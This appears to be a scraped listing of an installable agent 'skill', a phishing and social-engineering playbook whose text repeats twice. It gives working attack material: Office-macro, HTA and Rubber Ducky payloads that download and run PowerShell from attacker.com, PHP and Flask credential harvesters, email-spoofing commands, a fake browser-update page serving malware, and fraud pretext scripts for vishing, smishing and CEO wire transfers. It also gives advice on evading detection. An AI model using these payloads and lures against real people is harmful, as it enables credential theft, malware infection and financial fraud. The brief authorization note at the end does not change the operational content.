Performing Social Engineering

When to Use

Phishing campaign execution
Credential harvesting operations
Social engineering assessments
Red team engagements
Security awareness testing

Phishing Infrastructure

Gophish (Phishing Framework)

# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish Campaign Setup:

Email Templates - Create convincing phishing emails
Landing Pages - Clone legitimate sites for credential harvesting
Sending Profiles - Configure SMTP server
Groups - Import target user lists
Campaign - Combine all elements and launch

SET (Social Engineering Toolkit)

# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

Credential Harvester:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

Email Phishing

Email Spoofing

# sendEmail (simple SMTP client)
sendEmail -f [email protected] \
  -t [email protected] \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to [email protected] \
  --from [email protected] \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com

Attachment-Based Phishing

Malicious Office Macros:

' Excel/Word VBA macro
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"""
End Sub

Malicious PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

Malicious HTA:

<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>

Clone Legitimate Sites

# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">

Credential Harvesting Server

Simple PHP Harvester:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask Harvester:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

Services to spoof caller ID
Impersonate IT support, executives, vendors
Social engineering over phone

Common Pretexts:

IT support needing to verify credentials
HR department verifying personal information
Finance department confirming wire transfer
Vendor requiring payment information update

SMS Phishing (Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB Drop Attacks

Rubber Ducky / Bad USB

Ducky Script Example:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.

Physical USB Drops

Pretexts:

"Company Financial Data 2024"
"Salary Information - Confidential"
"Employee Bonuses Q4"
"IT Security Update - Required"

Payload Ideas:

Reverse shell
Credential stealer
Keylogger
Data exfiltration
Persistence mechanisms

QR Code Phishing

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

Watering Hole Attacks

Identify target organization's commonly visited sites
Compromise the website (or create lookalike)
Inject malicious code (exploit or profiling)
Wait for targets to visit and get compromised

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting

Fake Update Pages

<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

Pretexting Scenarios

IT Support:

"Hi, this is John from IT. We're doing routine password resets..."
"We've detected suspicious activity on your account..."
"Your VPN certificate is expiring, we need to update it..."

Executive Impersonation:

"This is [CEO name], I'm in a meeting and need you to..."
"Urgent: Wire transfer needed before end of day..."
"I'm traveling and can't access my account, can you help me..."

Vendor/Partner:

"This is accounting from [vendor]. We need to update payment information..."
"Your invoice is past due, please update billing details..."

Delivery/Shipping:

"Package delivery failed, verify address..."
"Customs clearance required, pay fee at..."

LinkedIn/Social Media Reconnaissance

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

Payload Delivery Methods

Links:

Shortened URLs (bit.ly, tinyurl)
Typosquatting domains
Homograph attacks (IDN homograph)
URL obfuscation

Attachments:

Office documents with macros (.docm, .xlsm)
PDFs with exploits/JavaScript
Compressed files (.zip, .rar)
ISO/IMG files
LNK files (shortcut tricks)

Advanced:

HTML smuggling
Polyglot files
Password-protected archives (bypass AV)
Signed malware (stolen/fake certificates)

Tracking and Reporting

Email Tracking:

<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

Link Tracking:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

Metrics to Track:

Emails sent
Emails opened (tracking pixel)
Links clicked
Credentials submitted
Attachments opened
Time to first click/submission

OpSec Considerations

Infrastructure:

Use disposable domains
HTTPS for credential harvesting
Legitimate SSL certificates (Let's Encrypt)
Categorize domains (submit to categorization services)
CDN for hosting (CloudFlare)

Email:

SPF/DKIM/DMARC alignment
Warm up email reputation
Similar but different domains (company.com vs company-portal.com)
Avoid spam trigger words

Detection Avoidance:

Realistic sender names and addresses
Professional email content
Avoid known malicious indicators
Time-based delivery (business hours)
Geofencing (target geography only)

Tools Summary

Gophish - Phishing campaign management
SET - Social Engineering Toolkit
BeEF - Browser exploitation
King Phisher - Phishing campaign toolkit
Evilginx2 - MITM phishing proxy (bypass 2FA)
Modlishka - Reverse proxy phishing
CredSniper - 2FA token capture
ShellPhish - Automated phishing

Defensive Awareness

Teach users to recognize:

Urgency/pressure tactics
Requests for credentials
Unusual senders
Suspicious links/attachments
Too-good-to-be-true offers
Requests to bypass security

Legal and Ethical Considerations

Always have written authorization
Define scope clearly
Protect harvested data
Follow ROE (Rules of Engagement)
Report findings responsibly
Delete data after engagement

References

https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
https://getgophish.com/
https://github.com/trustedsec/social-engineer-toolkit
https://www.social-engineer.org/

Performing Social Engineering

When to Use

Phishing campaign execution
Credential harvesting operations
Social engineering assessments
Red team engagements
Security awareness testing

Phishing Infrastructure

Gophish (Phishing Framework)

# Install
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip
chmod +x gophish
./gophish

# Access web interface
https://localhost:3333
# Default: admin:gophish

Gophish Campaign Setup:

Email Templates - Create convincing phishing emails
Landing Pages - Clone legitimate sites for credential harvesting
Sending Profiles - Configure SMTP server
Groups - Import target user lists
Campaign - Combine all elements and launch

SET (Social Engineering Toolkit)

# Launch SET
setoolkit

# Common modules:
# 1) Social-Engineering Attacks
#    1) Spear-Phishing Attack Vectors
#    2) Website Attack Vectors
#    3) Credential Harvester Attack Method

Credential Harvester:

# SET Menu:
# 1 -> 2 -> 3 (Credential Harvester)
# Choose site template or custom URL
# Enter attacker IP
# Hosts fake login page
# Captures credentials when submitted

Email Phishing

Email Spoofing

# sendEmail (simple SMTP client)
sendEmail -f [email protected] \
  -t [email protected] \
  -u "Urgent: Password Reset Required" \
  -m "Click here to reset: http://evil.com/reset" \
  -s smtp.server.com:25

# swaks (SMTP testing tool)
swaks --to [email protected] \
  --from [email protected] \
  --header "Subject: Important Update" \
  --body "Please review: http://evil.com" \
  --server smtp.company.com

Attachment-Based Phishing

Malicious Office Macros:

' Excel/Word VBA macro
Sub AutoOpen()
    Shell "powershell -nop -w hidden -c ""IEX((new-object net.webclient).downloadstring('http://attacker.com/payload.ps1'))"""
End Sub

Malicious PDF:

# Create PDF with embedded JavaScript
# Use tools like:
# - metasploit (exploit/windows/fileformat/adobe_pdf_embedded_exe)
# - PDFtk
# - malicious JavaScript injection

Malicious HTA:

<!-- malicious.hta -->
<html>
<head>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
window.close()
</script>
</head>
</html>

Clone Legitimate Sites

# HTTrack website copier
httrack http://legitimate-site.com -O ./cloned_site/

# wget mirror
wget --mirror --convert-links --adjust-extension --page-requisites --no-parent http://legitimate-site.com

# Manual with curl
curl -o index.html http://legitimate-site.com/login

# Modify form action to send credentials to attacker
<form action="http://attacker.com/harvest.php" method="POST">

Credential Harvesting Server

Simple PHP Harvester:

<?php
// harvest.php
$file = 'credentials.txt';
$username = $_POST['username'];
$password = $_POST['password'];
$data = "User: $username | Pass: $password | IP: " . $_SERVER['REMOTE_ADDR'] . " | " . date('Y-m-d H:i:s') . "\n";
file_put_contents($file, $data, FILE_APPEND);

// Redirect to real site
header('Location: https://real-site.com');
?>

Python Flask Harvester:

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/login', methods=['POST'])
def harvest():
    with open('creds.txt', 'a') as f:
        f.write(f"User: {request.form['username']}, Pass: {request.form['password']}\n")
    return redirect('https://real-site.com')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

Services to spoof caller ID
Impersonate IT support, executives, vendors
Social engineering over phone

Common Pretexts:

IT support needing to verify credentials
HR department verifying personal information
Finance department confirming wire transfer
Vendor requiring payment information update

SMS Phishing (Smishing)

# Send SMS with link
# Use services or tools like:
# - Twilio API
# - SMS gateways
# - SIM card with AT commands

# Example pretext:
"Your package delivery failed. Track here: http://evil.com/track"
"Your account has been locked. Reset here: http://evil.com/unlock"
"You've won a prize! Claim here: http://evil.com/claim"

USB Drop Attacks

Rubber Ducky / Bad USB

Ducky Script Example:

REM Open PowerShell and download payload
DELAY 2000
GUI r
DELAY 500
STRING powershell -w hidden
ENTER
DELAY 1000
STRING IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
ENTER

Bash Bunny:

# Payloads at /payloads/switch1/
# Example: exfiltrate files, run payload, etc.

Physical USB Drops

Pretexts:

"Company Financial Data 2024"
"Salary Information - Confidential"
"Employee Bonuses Q4"
"IT Security Update - Required"

Payload Ideas:

Reverse shell
Credential stealer
Keylogger
Data exfiltration
Persistence mechanisms

QR Code Phishing

# Generate QR code pointing to phishing site
qrencode -o evil_qr.png "http://evil.com/harvest"

# Print and place in physical locations:
# - "Scan for Free WiFi"
# - "Employee Portal Access"
# - "Building Directory"

Watering Hole Attacks

Identify target organization's commonly visited sites
Compromise the website (or create lookalike)
Inject malicious code (exploit or profiling)
Wait for targets to visit and get compromised

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

# Start BeEF
./beef

# Hook browsers with:
<script src="http://attacker-ip:3000/hook.js"></script>

# Access UI
http://127.0.0.1:3000/ui/panel
# Default: beef:beef

# Commands:
# - Social Engineering (fake notifications)
# - Browser exploitation
# - Network discovery
# - Credential harvesting

Fake Update Pages

<!-- fake-update.html -->
<html>
<head><title>Critical Browser Update Required</title></head>
<body>
<h1>Your browser is out of date!</h1>
<p>Click here to download the latest security update.</p>
<a href="http://attacker.com/malware.exe">Download Update</a>
</body>
</html>

Pretexting Scenarios

IT Support:

"Hi, this is John from IT. We're doing routine password resets..."
"We've detected suspicious activity on your account..."
"Your VPN certificate is expiring, we need to update it..."

Executive Impersonation:

"This is [CEO name], I'm in a meeting and need you to..."
"Urgent: Wire transfer needed before end of day..."
"I'm traveling and can't access my account, can you help me..."

Vendor/Partner:

"This is accounting from [vendor]. We need to update payment information..."
"Your invoice is past due, please update billing details..."

Delivery/Shipping:

"Package delivery failed, verify address..."
"Customs clearance required, pay fee at..."

LinkedIn/Social Media Reconnaissance

# Gather employee information
# - Job titles
# - Organizational structure
# - Technologies used
# - Recent activities/projects

# Tools:
# - theHarvester
# - linkedin2username
# - hunter.io (email patterns)

# Use for:
# - Targeted phishing
# - Pretexting scenarios
# - Impersonation attacks

Payload Delivery Methods

Links:

Shortened URLs (bit.ly, tinyurl)
Typosquatting domains
Homograph attacks (IDN homograph)
URL obfuscation

Attachments:

Office documents with macros (.docm, .xlsm)
PDFs with exploits/JavaScript
Compressed files (.zip, .rar)
ISO/IMG files
LNK files (shortcut tricks)

Advanced:

HTML smuggling
Polyglot files
Password-protected archives (bypass AV)
Signed malware (stolen/fake certificates)

Tracking and Reporting

Email Tracking:

<!-- Invisible tracking pixel -->
<img src="http://attacker.com/track?id=USER123" width="1" height="1" style="display:none">

Link Tracking:

# Unique URL per target
http://attacker.com/click?id=USER123

# Log access in server

Metrics to Track:

Emails sent
Emails opened (tracking pixel)
Links clicked
Credentials submitted
Attachments opened
Time to first click/submission

OpSec Considerations

Infrastructure:

Use disposable domains
HTTPS for credential harvesting
Legitimate SSL certificates (Let's Encrypt)
Categorize domains (submit to categorization services)
CDN for hosting (CloudFlare)

Email:

SPF/DKIM/DMARC alignment
Warm up email reputation
Similar but different domains (company.com vs company-portal.com)
Avoid spam trigger words

Detection Avoidance:

Realistic sender names and addresses
Professional email content
Avoid known malicious indicators
Time-based delivery (business hours)
Geofencing (target geography only)

Tools Summary

Gophish - Phishing campaign management
SET - Social Engineering Toolkit
BeEF - Browser exploitation
King Phisher - Phishing campaign toolkit
Evilginx2 - MITM phishing proxy (bypass 2FA)
Modlishka - Reverse proxy phishing
CredSniper - 2FA token capture
ShellPhish - Automated phishing

Defensive Awareness

Teach users to recognize:

Urgency/pressure tactics
Requests for credentials
Unusual senders
Suspicious links/attachments
Too-good-to-be-true offers
Requests to bypass security

Legal and Ethical Considerations

Always have written authorization
Define scope clearly
Protect harvested data
Follow ROE (Rules of Engagement)
Report findings responsibly
Delete data after engagement

References

https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology
https://getgophish.com/
https://github.com/trustedsec/social-engineer-toolkit
https://www.social-engineer.org/

Adoption

0X6C7879/phishing-social-engineering

$ install --global

Security Scan Results

SKILL.md

Performing Social Engineering

When to Use

Phishing Infrastructure

Gophish (Phishing Framework)

SET (Social Engineering Toolkit)

Email Phishing

Email Spoofing

Attachment-Based Phishing

Clone Legitimate Sites

Credential Harvesting Server

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

SMS Phishing (Smishing)

USB Drop Attacks

Rubber Ducky / Bad USB

Physical USB Drops

QR Code Phishing

Watering Hole Attacks

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

Fake Update Pages

Pretexting Scenarios

LinkedIn/Social Media Reconnaissance

Payload Delivery Methods

Tracking and Reporting

OpSec Considerations

Tools Summary

Defensive Awareness

Legal and Ethical Considerations

References

Related Skills

0X6C7879/wooyun-legacy

0X6C7879/windows-privilege-escalation

0X6C7879/tunnel

0X6C7879/threat-modeling

0X6C7879/phishing-social-engineering

$ install --global

Security Scan Results

SKILL.md

Performing Social Engineering

When to Use

Phishing Infrastructure

Gophish (Phishing Framework)

SET (Social Engineering Toolkit)

Email Phishing

Email Spoofing

Attachment-Based Phishing

Clone Legitimate Sites

Credential Harvesting Server

Voice Phishing (Vishing)

SpoofCard/Caller ID Spoofing

SMS Phishing (Smishing)

USB Drop Attacks

Rubber Ducky / Bad USB

Physical USB Drops

QR Code Phishing

Watering Hole Attacks

Browser-Based Attacks

BeEF (Browser Exploitation Framework)

Fake Update Pages

Pretexting Scenarios

LinkedIn/Social Media Reconnaissance

Payload Delivery Methods

Tracking and Reporting

OpSec Considerations

Tools Summary

Defensive Awareness

Legal and Ethical Considerations

References

Related Skills

0X6C7879/wooyun-legacy

0X6C7879/windows-privilege-escalation

0X6C7879/tunnel

0X6C7879/threat-modeling